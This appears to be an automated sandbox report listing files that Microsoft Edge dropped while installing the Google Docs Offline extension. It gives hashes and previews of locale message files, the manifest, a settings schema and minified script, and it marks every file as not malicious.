SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break 